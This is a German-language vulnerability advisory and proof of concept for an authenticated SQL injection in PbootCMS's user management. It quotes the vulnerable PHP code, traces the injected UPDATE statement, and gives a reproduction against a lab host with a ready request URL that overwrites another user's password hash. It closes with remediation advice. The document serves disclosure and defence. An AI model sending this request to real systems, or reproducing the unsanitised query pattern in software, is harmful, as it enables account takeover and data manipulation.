
Proof-of-Concept für CVE-2026-79387, eine authentifizierte SQL-Injection in der Benutzerverwaltung von PbootCMS, die beliebige Feldaktualisierungen und die Übernahme von Konten ermöglicht.
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-79387 |
| Produkt | PbootCMS |
| Betroffene Versionen | 3.2.0 – 3.2.5, und möglicherweise früher |
| Schwachstellentyp | SQL-Injection (CWE-89) |
| Angriffsvektor | Remote (Authentifiziert) |
| CVSS-Schweregrad | Hoch |
| Entdecker | JiahaoLi |
| Hersteller | https://www.pbootcms.com/ |
Im Benutzerverwaltungsmodul von PbootCMS V3.2.5 existiert eine SQL-Injection-Schwachstelle. Die Schwachstelle befindet sich in der Methode mod() von /apps/admin/controller/system/UserController.php (Zeile 149) und in der Methode modUser() von /apps/admin/model/system/UserModel.php.
Der Parameter field ist vollständig vom Benutzer über eine GET-Anfrage kontrollierbar, ohne jegliche Whitelist-Validierung. Der Parameter value ist ebenso vom Benutzer kontrollierbar und wird direkt in die SQL-UPDATE-Anweisung eingefügt. Ein authentifizierter Angreifer kann eine beliebige Datenbankspalte als field angeben (z. B. password, username, status, role), was eine beliebige Datenmanipulation ermöglicht.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field und $value werden direkt aus der $_GET-Superglobalen entnommen und ohne Bereinigung, ohne Whitelist und ohne parametrisierte Abfrage in einen SQL-String konkateniert. Dieser String wird dann an UserModel::modUser() übergeben, das ihn an die Basis-Methode Model::update() weiterleitet. Da das Argument ein String ist (kein Array), umgeht es die Feldnamen-Validierung von checkKey() und wird wörtlich in die SET-Klausel eingebettet:
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Ein authentifizierter Angreifer kann:
ucode=10001).value erlaubt das Escapen von einfachen Anführungszeichen, was potenziell gestapelte oder tautologiebasierte Angriffe ermöglicht.Dies führt zur Übernahme von Konten und zur vollständigen Kontrolle über das CMS-Backend.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Rufen Sie das PbootCMS-Admin-Dashboard auf und melden Sie sich mit dem Standardkonto admin an.

Navigieren Sie zu Systemverwaltung → Benutzerverwaltung → Benutzer hinzufügen. Erstellen Sie einen neuen Benutzer:
admin2admin
Die Benutzerliste bestätigt admin2 mit ucode=10002:

Öffnen Sie ein neues Browserfenster. Versuchen Sie, sich als admin2 mit dem Passwort 123456 anzumelden — dies schlägt fehl, da das tatsächliche Passwort admin lautet:

Navigieren Sie mit dem bereits angemeldeten Admin-Browser zu:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291ist der MD5-Hash von123456.
Die Methode mod() führt die Injection aus und leitet über location(-1) weiter:

Versuchen Sie nun, sich mit admin2 / 123456 anzumelden:

Das Passwort wurde erfolgreich über SQL-Injection geändert. Der Benutzer ist jetzt mit dem neuen Passwort angemeldet, was die vollständige Kontoübernahme bestätigt.

Wenn update() ein String-Argument erhält, wird es unverändert in der SET-Klausel verwendet, ohne jegliche Escaping:
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field-Parameters — nur bekannte Spaltennamen zulassen (status, username, realname, password).$value bereinigen, um Quote-Breakout zu verhindern.field gleich password ist, encrypt_string() auf den Wert vor der Speicherung anwenden.mod() sollte ein gültiges CSRF-Token und eine rollenbasierte Autorisierungsprüfung erfordern.